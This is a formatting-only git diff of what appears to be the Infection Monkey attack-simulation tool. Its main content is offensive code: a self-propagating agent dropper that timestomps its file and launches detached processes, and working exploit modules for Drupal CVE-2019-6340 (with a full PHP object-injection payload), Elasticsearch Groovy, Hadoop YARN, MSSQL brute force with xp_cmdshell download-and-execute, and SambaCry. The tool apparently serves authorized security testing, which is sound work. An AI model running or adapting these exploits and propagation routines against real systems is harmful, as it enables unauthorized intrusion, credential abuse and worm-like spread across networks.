% (WormConfiguration.current_server, filename), # noqa: DUO123
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
with monkeyfs.open(dest_file, "wb") as file_obj:
@ -310,7 +316,8 @@ class ControlClient(object):
except Exception as exc:
LOG.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
"Error connecting to control server %s: %s", WormConfiguration.current_server,
exc
)
@staticmethod
@ -323,13 +330,13 @@ class ControlClient(object):
return None, None
try:
reply = requests.post(
"https://%s/api/monkey/download"
% (WormConfiguration.current_server,), # noqa: DUO123
data=json.dumps(host_dict),
headers={"content-type": "application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=LONG_REQUEST_TIMEOUT,
"https://%s/api/monkey/download"
% (WormConfiguration.current_server,), # noqa: DUO123
data=json.dumps(host_dict),
headers={"content-type":"application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=LONG_REQUEST_TIMEOUT,
)
if 200 == reply.status_code:
result_json = reply.json()
@ -343,7 +350,8 @@ class ControlClient(object):
except Exception as exc:
LOG.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
"Error connecting to control server %s: %s", WormConfiguration.current_server,
exc
)
return None, None
@ -371,10 +379,11 @@ class ControlClient(object):
def get_pba_file(filename):
try:
return requests.get(
PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), # noqa: DUO123
verify=False,
proxies=ControlClient.proxies,
timeout=LONG_REQUEST_TIMEOUT,
PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename),
# noqa: DUO123
verify=False,
proxies=ControlClient.proxies,
timeout=LONG_REQUEST_TIMEOUT,
)
except requests.exceptions.RequestException:
return False
@ -383,14 +392,14 @@ class ControlClient(object):
def get_T1216_pba_file():
try:
return requests.get(
urljoin(
f"https://{WormConfiguration.current_server}/", # noqa: DUO123
T1216_PBA_FILE_DOWNLOAD_PATH,
),
verify=False,
proxies=ControlClient.proxies,
stream=True,
timeout=MEDIUM_REQUEST_TIMEOUT,
urljoin(
f"https://{WormConfiguration.current_server}/", # noqa: DUO123
T1216_PBA_FILE_DOWNLOAD_PATH,
),
verify=False,
proxies=ControlClient.proxies,
stream=True,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except requests.exceptions.RequestException:
return False
@ -398,21 +407,24 @@ class ControlClient(object):
@staticmethod
def should_monkey_run(vulnerable_port: str) -> bool:
if (
vulnerable_port
and WormConfiguration.get_hop_distance_to_island() > 1
and ControlClient.can_island_see_port(vulnerable_port)
and WormConfiguration.started_on_island
vulnerable_port
and WormConfiguration.get_hop_distance_to_island() > 1
and ControlClient.can_island_see_port(vulnerable_port)
and WormConfiguration.started_on_island
):
raise PlannedShutdownException(
"Monkey shouldn't run on current machine "
"(it will be exploited later with more depth)."
"Monkey shouldn't run on current machine "
"(it will be exploited later with more depth)."
)
return True
@staticmethod
def can_island_see_port(port):
try:
url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}"
url = (
f"https://{WormConfiguration.current_server}/api/monkey_control"
f"/check_remote_port/{port}"
)
response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT)
response = json.loads(response.content.decode())
return response["status"] == "port_visible"
@ -422,8 +434,8 @@ class ControlClient(object):
@staticmethod
def report_start_on_island():
requests.post(
f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
data=json.dumps({"started_on_island": True}),
verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT,
f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
data=json.dumps({"started_on_island":True}),
verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT,
)

View File

@ -53,8 +53,8 @@ class MonkeyDrops(object):
self.opts, _ = arg_parser.parse_known_args(args)
self._config = {
"source_path": os.path.abspath(sys.argv[0]),
"destination_path": self.opts.location,
"source_path":os.path.abspath(sys.argv[0]),
"destination_path":self.opts.location,
}
def initialize(self):
@ -80,18 +80,18 @@ class MonkeyDrops(object):
shutil.move(self._config["source_path"], self._config["destination_path"])
LOG.info(
"Moved source file '%s' into '%s'",
self._config["source_path"],
self._config["destination_path"],
"Moved source file '%s' into '%s'",
self._config["source_path"],
self._config["destination_path"],
)
file_moved = True
except (WindowsError, IOError, OSError) as exc:
LOG.debug(
"Error moving source file '%s' into '%s': %s",
self._config["source_path"],
self._config["destination_path"],
exc,
"Error moving source file '%s' into '%s': %s",
self._config["source_path"],
self._config["destination_path"],
exc,
)
# if file still need to change path, copy it
@ -100,16 +100,16 @@ class MonkeyDrops(object):
shutil.copy(self._config["source_path"], self._config["destination_path"])
LOG.info(
"Copied source file '%s' into '%s'",
self._config["source_path"],
self._config["destination_path"],
"Copied source file '%s' into '%s'",
self._config["source_path"],
self._config["destination_path"],
)
except (WindowsError, IOError, OSError) as exc:
LOG.error(
"Error copying source file '%s' into '%s': %s",
self._config["source_path"],
self._config["destination_path"],
exc,
"Error copying source file '%s' into '%s': %s",
self._config["source_path"],
self._config["destination_path"],
exc,
)
return False
@ -117,7 +117,7 @@ class MonkeyDrops(object):
if WormConfiguration.dropper_set_date:
if sys.platform == "win32":
dropper_date_reference_path = os.path.expandvars(
WormConfiguration.dropper_date_reference_path_windows
WormConfiguration.dropper_date_reference_path_windows
)
else:
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
@ -125,58 +125,59 @@ class MonkeyDrops(object):
ref_stat = os.stat(dropper_date_reference_path)
except OSError:
LOG.warning(
"Cannot set reference date using '%s', file not found",
dropper_date_reference_path,
"Cannot set reference date using '%s', file not found",
dropper_date_reference_path,
)
else:
try:
os.utime(
self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)
self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)
)
except OSError:
LOG.warning("Cannot set reference date to destination file")
monkey_options = build_monkey_commandline_explicitly(
parent=self.opts.parent,
tunnel=self.opts.tunnel,
server=self.opts.server,
depth=self.opts.depth,
location=None,
vulnerable_port=self.opts.vulnerable_port,
parent=self.opts.parent,
tunnel=self.opts.tunnel,
server=self.opts.server,
depth=self.opts.depth,
location=None,
vulnerable_port=self.opts.vulnerable_port,
)
if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = (
MONKEY_CMDLINE_WINDOWS % {"monkey_path": self._config["destination_path"]}
+ monkey_options
MONKEY_CMDLINE_WINDOWS % {"monkey_path":self._config["destination_path"]}
+ monkey_options
)
else:
dest_path = self._config["destination_path"]
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
# In linux we have a more complex commandline. There's a general outer one,
# and the inner one which actually
# runs the monkey
inner_monkey_cmdline = (
MONKEY_CMDLINE_LINUX % {"monkey_filename": dest_path.split("/")[-1]}
+ monkey_options
MONKEY_CMDLINE_LINUX % {"monkey_filename":dest_path.split("/")[-1]}
+ monkey_options
)
monkey_cmdline = GENERAL_CMDLINE_LINUX % {
"monkey_directory": dest_path[0 : dest_path.rfind("/")],
"monkey_commandline": inner_monkey_cmdline,
"monkey_directory":dest_path[0: dest_path.rfind("/")],
"monkey_commandline":inner_monkey_cmdline,
}
monkey_process = subprocess.Popen(
monkey_cmdline,
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
close_fds=True,
creationflags=DETACHED_PROCESS,
monkey_cmdline,
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
close_fds=True,
creationflags=DETACHED_PROCESS,
)
LOG.info(
"Executed monkey process (PID=%d) with command line: %s",
monkey_process.pid,
monkey_cmdline,
"Executed monkey process (PID=%d) with command line: %s",
monkey_process.pid,
monkey_cmdline,
)
time.sleep(3)
@ -188,9 +189,10 @@ class MonkeyDrops(object):
try:
if (
(self._config["source_path"].lower() != self._config["destination_path"].lower())
and os.path.exists(self._config["source_path"])
and WormConfiguration.dropper_try_move_first
(self._config["source_path"].lower() != self._config[
"destination_path"].lower())
and os.path.exists(self._config["source_path"])
and WormConfiguration.dropper_try_move_first
):
# try removing the file first
@ -198,23 +200,24 @@ class MonkeyDrops(object):
os.remove(self._config["source_path"])
except Exception as exc:
LOG.debug(
"Error removing source file '%s': %s", self._config["source_path"], exc
"Error removing source file '%s': %s", self._config["source_path"], exc
)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config["source_path"])
if 0 == ctypes.windll.kernel32.MoveFileExA(
dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT
dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT
):
LOG.debug(
"Error marking source file '%s' for deletion on next boot (error %d)",
self._config["source_path"],
ctypes.windll.kernel32.GetLastError(),
"Error marking source file '%s' for deletion on next boot (error "
"%d)",
self._config["source_path"],
ctypes.windll.kernel32.GetLastError(),
)
else:
LOG.debug(
"Dropper source file '%s' is marked for deletion on next boot",
self._config["source_path"],
"Dropper source file '%s' is marked for deletion on next boot",
self._config["source_path"],
)
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()

View File

@ -10,7 +10,6 @@ from infection_monkey.utils.plugins.plugin import Plugin
__author__ = "itamar"
logger = logging.getLogger(__name__)
@ -37,7 +36,8 @@ class HostExploiter(Plugin):
EXPLOIT_TYPE = ExploitType.VULNERABILITY
# Determines if successful exploitation should stop further exploit attempts on that machine.
# Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent.
# Generally, should be True for RCE type exploiters and False if we don't expect the
# exploiter to run the monkey agent.
# Example: Zerologon steals credentials
RUNS_AGENT_ON_SUCCESS = True
@ -49,12 +49,12 @@ class HostExploiter(Plugin):
def __init__(self, host):
self._config = WormConfiguration
self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE,
"started": "",
"finished": "",
"vulnerable_urls": [],
"vulnerable_ports": [],
"executed_cmds": [],
"display_name":self._EXPLOITED_SERVICE,
"started":"",
"finished":"",
"vulnerable_urls":[],
"vulnerable_ports":[],
"executed_cmds":[],
}
self.exploit_attempts = []
self.host = host
@ -75,14 +75,14 @@ class HostExploiter(Plugin):
def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
self.exploit_attempts.append(
{
"result": result,
"user": user,
"password": password,
"lm_hash": lm_hash,
"ntlm_hash": ntlm_hash,
"ssh_key": ssh_key,
}
{
"result":result,
"user":user,
"password":password,
"lm_hash":lm_hash,
"ntlm_hash":ntlm_hash,
"ssh_key":ssh_key,
}
)
def exploit_host(self):
@ -120,4 +120,4 @@ class HostExploiter(Plugin):
:param cmd: String of executed command. e.g. 'echo Example'
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
self.exploit_info["executed_cmds"].append({"cmd":cmd, "powershell":powershell})

View File

@ -1,7 +1,8 @@
"""
Remote Code Execution on Drupal server - CVE-2019-6340
Implementation is based on:
https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88
/f9f6a5bb6605745e292bee3a4079f261d891738a.
"""
import logging
@ -28,7 +29,8 @@ class DrupalExploiter(WebRCE):
def get_exploit_config(self):
"""
We override this function because the exploits requires a special extension in the URL, "node",
We override this function because the exploits requires a special extension in the URL,
"node",
e.g. an exploited URL would be http://172.1.2.3:<port>/node/3.
:return: the Drupal exploit config
"""
@ -42,7 +44,8 @@ class DrupalExploiter(WebRCE):
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
"""
We need a specific implementation of this function in order to add the URLs *with the node IDs*.
We need a specific implementation of this function in order to add the URLs *with the
node IDs*.
We therefore check, for every potential URL, all possible node IDs.
:param potential_urls: Potentially-vulnerable URLs
:param stop_checking: Stop if one vulnerable URL is found
@ -58,7 +61,7 @@ class DrupalExploiter(WebRCE):
node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
self.add_vuln_url(
url
url
) # This is for report. Should be refactored in the future
self.vulnerable_urls.append(node_url)
if stop_checking:
@ -71,7 +74,8 @@ class DrupalExploiter(WebRCE):
def check_if_exploitable(self, url):
"""
Check if a certain URL is exploitable.
We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
We use this specific implementation (and not simply run self.exploit) because this
function does not "waste"
a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
:param url: Drupal's URL and port
:return: Vulnerable URL if exploitable, otherwise False
@ -79,11 +83,11 @@ class DrupalExploiter(WebRCE):
payload = build_exploitability_check_payload(url)
response = requests.get(
f"{url}?_format=hal_json", # noqa: DUO123
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT,
f"{url}?_format=hal_json", # noqa: DUO123
json=payload,
headers={"Content-Type":"application/hal+json"},
verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
if is_response_cached(response):
@ -99,11 +103,11 @@ class DrupalExploiter(WebRCE):
payload = build_cmd_execution_payload(base, cmd)
r = requests.get(
f"{url}?_format=hal_json", # noqa: DUO123
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False,
timeout=LONG_REQUEST_TIMEOUT,
f"{url}?_format=hal_json", # noqa: DUO123
json=payload,
headers={"Content-Type":"application/hal+json"},
verify=False,
timeout=LONG_REQUEST_TIMEOUT,
)
if is_response_cached(r):
@ -117,7 +121,8 @@ class DrupalExploiter(WebRCE):
def get_target_url(self):
"""
We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
We're overriding this method such that every time self.exploit is invoked, we use a fresh
vulnerable URL.
Reusing the same URL eliminates its exploitability because of caching reasons :)
:return: vulnerable URL to exploit
"""
@ -128,14 +133,16 @@ class DrupalExploiter(WebRCE):
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
:return: Whether the list of vulnerable URLs has at least 5 elements.
"""
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey,
# chmod it and run it.
num_urls_needed_for_full_exploit = 5
num_available_urls = len(self.vulnerable_urls)
result = num_available_urls >= num_urls_needed_for_full_exploit
if not result:
LOG.info(
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server "
f"but only {num_available_urls} found"
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
f"Drupal server "
f"but only {num_available_urls} found"
)
return result
@ -151,7 +158,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
while lower < upper:
node_url = urljoin(base_url, str(lower))
response = requests.get(
node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT
node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT
) # noqa: DUO123
if response.status_code == 200:
if is_response_cached(response):
@ -164,30 +171,30 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
def build_exploitability_check_payload(url):
payload = {
"_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}},
"type": {"target_id": "article"},
"title": {"value": "My Article"},
"body": {"value": ""},
"_links":{"type":{"href":f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}},
"type":{"target_id":"article"},
"title":{"value":"My Article"},
"body":{"value":""},
}
return payload
def build_cmd_execution_payload(base, cmd):
payload = {
"link": [
"link":[
{
"value": "link",
"options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000'
'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"'
'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:'
'{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";'
's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000'
'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000'
'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"'
'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}'
"".replace("|size|", str(len(cmd))).replace("|command|", cmd),
"value":"link",
"options":'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000'
'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"'
'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:'
'{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";'
's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000'
'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000'
'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"'
'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}'
"".replace("|size|", str(len(cmd))).replace("|command|", cmd),
}
],
"_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}},
"_links":{"type":{"href":f"{urljoin(base, '/rest/type/shortcut/default')}"}},
}
return payload

View File

@ -1,6 +1,7 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66
/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
@ -33,11 +34,12 @@ class ElasticGroovyExploiter(WebRCE):
# attack URLs
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = (
"""{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
"""{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
)
JAVA_CMD = (
GENERIC_QUERY
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
GENERIC_QUERY
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(
\\"%s\\").getText()"""
)
_TARGET_OS_TYPE = ["linux", "windows"]
@ -51,13 +53,14 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config["dropper"] = True
exploit_config["url_extensions"] = ["_search?pretty"]
exploit_config["upload_commands"] = {
"linux": WGET_HTTP_UPLOAD,
"windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP,
"linux":WGET_HTTP_UPLOAD,
"windows":CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP,
}
return exploit_config
def get_open_service_ports(self, port_list, names):
# We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
# We must append elastic port we get from elastic fingerprint module because It's not
# marked as 'http' service
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
if ES_SERVICE in self.host.services:
valid_ports.append([ES_PORT, False])
@ -70,7 +73,8 @@ class ElasticGroovyExploiter(WebRCE):
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
except requests.ReadTimeout:
LOG.error(
"Elastic couldn't upload monkey, because server didn't respond to upload request."
"Elastic couldn't upload monkey, because server didn't respond to upload "
"request."
)
return False
result = self.get_results(response)

View File

@ -1,6 +1,7 @@
"""
Remote code execution on HADOOP server with YARN and default settings
Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
Implementation is based on code from
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
"""
import json
@ -63,25 +64,27 @@ class HadoopExploiter(WebRCE):
def exploit(self, url, command):
# Get the newly created application id
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
posixpath.join(url, "ws/v1/cluster/apps/new-application"),
timeout=LONG_REQUEST_TIMEOUT
)
resp = json.loads(resp.content)
app_id = resp["application-id"]
# Create a random name for our application in YARN
rand_name = ID_STRING + "".join(
[random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
[random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
)
payload = self.build_payload(app_id, rand_name, command)
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload,
timeout=LONG_REQUEST_TIMEOUT
)
return resp.status_code == 202
def check_if_exploitable(self, url):
try:
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"),
timeout=LONG_REQUEST_TIMEOUT,
posixpath.join(url, "ws/v1/cluster/apps/new-application"),
timeout=LONG_REQUEST_TIMEOUT,
)
except requests.ConnectionError:
return False
@ -90,7 +93,8 @@ class HadoopExploiter(WebRCE):
def build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0]
self.host, get_monkey_depth() - 1,
vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0]
)
if "linux" in self.host.os["type"]:
base_command = HADOOP_LINUX_COMMAND
@ -98,22 +102,22 @@ class HadoopExploiter(WebRCE):
base_command = HADOOP_WINDOWS_COMMAND
return base_command % {
"monkey_path": path,
"http_path": http_path,
"monkey_type": MONKEY_ARG,
"parameters": monkey_cmd,
"monkey_path":path,
"http_path":http_path,
"monkey_type":MONKEY_ARG,
"parameters":monkey_cmd,
}
@staticmethod
def build_payload(app_id, name, command):
payload = {
"application-id": app_id,
"application-name": name,
"am-container-spec": {
"commands": {
"command": command,
"application-id":app_id,
"application-name":name,
"am-container-spec":{
"commands":{
"command":command,
}
},
"application-type": "YARN",
"application-type":"YARN",
}
return payload

View File

@ -50,18 +50,19 @@ class MSSQLExploiter(HostExploiter):
self.cursor = None
self.monkey_server = None
self.payload_file_path = os.path.join(
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
)
def _exploit_host(self):
"""
First this method brute forces to get the mssql connection (cursor).
Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
Also, don't forget to start_monkey_server() before self.upload_monkey() and
self.stop_monkey_server() after
"""
# Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
self.cursor = self.brute_force(
self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list
self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list
)
# Create dir for payload
@ -91,13 +92,13 @@ class MSSQLExploiter(HostExploiter):
def create_temp_dir(self):
dir_creation_command = MSSQLLimitedSizePayload(
command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
)
self.run_mssql_command(dir_creation_command)
def create_empty_payload_file(self):
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(
payload_file_path=self.payload_file_path
payload_file_path=self.payload_file_path
)
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
self.run_mssql_command(tmp_file_creation_command)
@ -126,11 +127,11 @@ class MSSQLExploiter(HostExploiter):
def remove_temp_dir(self):
# Remove temporary dir we stored payload at
tmp_file_removal_command = MSSQLLimitedSizePayload(
command="del {}".format(self.payload_file_path)
command="del {}".format(self.payload_file_path)
)
self.run_mssql_command(tmp_file_removal_command)
tmp_dir_removal_command = MSSQLLimitedSizePayload(
command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
)
self.run_mssql_command(tmp_dir_removal_command)
@ -150,27 +151,27 @@ class MSSQLExploiter(HostExploiter):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
# Form monkey's launch command
monkey_args = build_monkey_commandline(
self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path
self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path
)
suffix = ">>{}".format(self.payload_file_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
return MSSQLLimitedSizePayload(
command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
prefix=prefix,
suffix=suffix,
command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
prefix=prefix,
suffix=suffix,
)
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
http_path=self.monkey_server.http_path, dst_path=dst_path
http_path=self.monkey_server.http_path, dst_path=dst_path
)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
payload_file_path=self.payload_file_path
payload_file_path=self.payload_file_path
)
return MSSQLLimitedSizePayload(
command=monkey_download_command, suffix=suffix, prefix=prefix
command=monkey_download_command, suffix=suffix, prefix=prefix
)
def brute_force(self, host, port, users_passwords_pairs_list):
@ -181,10 +182,12 @@ class MSSQLExploiter(HostExploiter):
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce
with
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
True or False depends if the whole bruteforce and attack process was completed
successfully or not
"""
# Main loop
# Iterates on users list
@ -193,12 +196,12 @@ class MSSQLExploiter(HostExploiter):
# Core steps
# Trying to connect
conn = pymssql.connect(
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
)
LOG.info(
"Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}".format(
host, user, self._config.hash_sensitive_data(password)
)
"Successfully connected to host: {0}, using user: {1}, password ("
"SHA-512): {2}".format(host, user,
self._config.hash_sensitive_data(password))
)
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password)
@ -210,19 +213,19 @@ class MSSQLExploiter(HostExploiter):
pass
LOG.warning(
"No user/password combo was able to connect to host: {0}:{1}, "
"aborting brute force".format(host, port)
"No user/password combo was able to connect to host: {0}:{1}, "
"aborting brute force".format(host, port)
)
raise FailedExploitationError(
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
)
class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(
command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END,
command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END,
)

View File

@ -54,7 +54,8 @@ LOG = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
"""
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
SambaCry exploit module, partially based on the following implementation by CORE Security
Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
@ -88,13 +89,13 @@ class SambaCryExploiter(HostExploiter):
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
LOG.info(
"Writable shares and their credentials on host %s: %s"
% (self.host.ip_addr, str(writable_shares_creds_dict))
"Writable shares and their credentials on host %s: %s"
% (self.host.ip_addr, str(writable_shares_creds_dict))
)
self.exploit_info["shares"] = {}
for share in writable_shares_creds_dict:
self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.exploit_info["shares"][share] = {"creds":writable_shares_creds_dict[share]}
self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file.
@ -104,23 +105,23 @@ class SambaCryExploiter(HostExploiter):
for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(
self.host.ip_addr, share, writable_shares_creds_dict[share]
self.host.ip_addr, share, writable_shares_creds_dict[share]
)
creds = writable_shares_creds_dict[share]
self.report_login_attempt(
trigger_result is not None,
creds["username"],
creds["password"],
creds["lm_hash"],
creds["ntlm_hash"],
trigger_result is not None,
creds["username"],
creds["password"],
creds["lm_hash"],
creds["ntlm_hash"],
)
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {
"username": creds["username"],
"host": self.host.ip_addr,
"port": self.SAMBA_PORT,
"share_name": share,
"username":creds["username"],
"host":self.host.ip_addr,
"port":self.SAMBA_PORT,
"share_name":share,
}
self.add_vuln_url(url)
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
@ -130,8 +131,8 @@ class SambaCryExploiter(HostExploiter):
if len(successfully_triggered_shares) > 0:
LOG.info(
"Shares triggered successfully on host %s: %s"
% (self.host.ip_addr, str(successfully_triggered_shares))
"Shares triggered successfully on host %s: %s"
% (self.host.ip_addr, str(successfully_triggered_shares))
)
self.add_vuln_port(self.SAMBA_PORT)
return True
@ -151,8 +152,8 @@ class SambaCryExploiter(HostExploiter):
self.trigger_module(smb_client, share)
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s."
% (self.host.ip_addr, share, str(creds))
